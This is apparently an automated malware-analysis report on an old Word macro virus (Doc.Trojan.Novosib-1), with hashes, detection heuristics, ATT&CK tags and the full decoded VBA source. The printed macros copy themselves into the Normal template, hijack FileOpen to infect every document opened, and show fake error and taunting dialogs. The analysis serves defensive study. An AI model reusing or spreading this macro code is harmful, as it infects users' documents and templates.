Doc.Trojan.Novosib-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 3e1fa0635d461ac1…

MALICIOUS

Office (OLE)

33.0 KB Created: 2009-08-22 12:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 97799abae1769c14b103d5bc56e31432 SHA-1: 59d1ea88c3d8bc34346ef1c91d27e913b683edeb SHA-256: 3e1fa0635d461ac1c611e2440e3d4cb3bbf42a8e398b246971429b4c582a0ce6
140 Risk Score

Malware Insights

Doc.Trojan.Novosib-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The AutoOpen macro is present and designed to execute other macros, including 'Fantom' and 'Fuck'. The presence of the 'Doc.Trojan.Novosib-1' ClamAV detection strongly suggests this is a known malware family. The AutoOpen macro is a common technique for initial execution of malicious code within Office documents.

Heuristics 4

  • ClamAV: Doc.Trojan.Novosib-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Novosib-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2491 bytes
SHA-256: 6cc41f4034d671fb535b364b1251acdbe6d0ea6bd48f6f98fb3ed92923d8ba2f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim rus
Dim j, Response, Msg, Style
Dim i
Style = vbCritical
Msg = "Ïðîèçîøëà êðèòè÷åñêàÿ îøèáêà.Ïåðåçàïóñòèòå ïðèëîæåíèå. "
On Error GoTo -1: On Error GoTo fail
rus = 0
j = WordBasic.CountMacros(0, 0)
For i = 1 To j
 If WordBasic.[MacroName$](i, 0, 0) = "Fantom" Then rus = 1
Next i

If rus = 1 Then GoTo fail

Response = MsgBox(Msg, Style)

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Normal:AutoOp"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":Fantom", "Normal:Fantom"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":Fuck", "Normal:FileOpen"
fail:
End Sub

Attribute VB_Name = "Fantom"

Public Sub MAIN()
'Ïîñâåùàåòñÿ Èãîðþ Äàíèëîâó
'Çëîáíûé âèðóñîïèñàòåëü èç Íîâîñèáèðñêà
End Sub

Attribute VB_Name = "Fuck"

Public Sub MAIN()
Dim Novosib
Dim Virus
Dim Msg, Msb, Msa, Style, MyString, Response
Dim Kota
Dim Mordov
Dim i
Dim zuko
Style = vbYesNo + DefaultButton2
Msg = "Ñäà¸òñÿ ìíå ÷òî âû ìóäàê áàòåíüêà?"
Msa = "Çðÿ âû áàòåíüêà òàêîãî âûñîêîãî ìíåíèÿ î ñåáå!"
Msb = "Âîò òóò ÿ ñ âàìè ïîëíîñòüþ ñîãëàñåí!"
' this macro loaded in normal template as FileOpen
Virus = "Fuck"
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
On Error GoTo -1: On Error GoTo fail
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
Response = MsgBox(Msg, Style)
If Response = vbYes Then
MyString = "Äà"
Response = MsgBox(Msb)
GoTo fol
Else
MyString = "Íåò"
Response = MsgBox(Msa)
fol:
Kota = 0
Mordov = WordBasic.CountMacros(1, 0, 0)
For i = 1 To Mordov
 zuko = WordBasic.[MacroName$](i, 1)
 If zuko = "Fantom" Then Kota = 1
Next i
If Kota = 1 Then GoTo fail
WordBasic.FileSaveAs WordBasic.[FileName$](), Format:=1
WordBasic.MacroCopy "Normal:AutoOp", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Normal:Fantom", WordBasic.[FileName$]() + ":Fantom"
WordBasic.MacroCopy "Normal:FileOpen", WordBasic.[FileName$]() + ":Fuck"
fail:
End If
End Sub

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